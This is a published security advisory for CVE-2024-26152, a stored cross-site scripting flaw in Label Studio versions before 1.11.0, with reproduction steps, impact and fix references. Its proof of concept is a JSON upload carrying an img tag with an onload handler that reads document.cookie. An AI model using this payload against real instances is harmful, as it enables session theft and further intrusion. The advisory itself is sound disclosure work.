Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config
GHSA-6xv9-957j-qfhg · CVE-2024-26152 · PYSEC-2024-249
Published · Modified
Description
Summary
On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a Choices or Labels tag, resulting in an XSS vulnerability.
Details
Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.
PoC
Create a project.
Upload a file containing the payload using the "Upload Files" function.
The following are the contents of the files used in the PoC
{
"data": {
"prompt": "labelstudio universe image",
"images": [
{
"value": "id123#0",
"style": "margin: 5px",
"html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
}
]
}
}
Select the text-to-image generation labeling template of Ranking and scoring
Select a task
Check that the script is running
Impact
Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.
References
- WEB https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6xv9-957j-qfhg
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2024-26152
- WEB https://github.com/HumanSignal/label-studio/pull/5232
- WEB https://github.com/HumanSignal/label-studio/commit/5df9ae3828b98652e9fa290a19f4deedf51ef6c8
- PACKAGE https://github.com/HumanSignal/label-studio
- WEB https://github.com/HumanSignal/label-studio/releases/tag/1.11.0
- WEB https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2024-249.yaml
Ready to move
Start Securing
Free, no credit card | First findings in minutes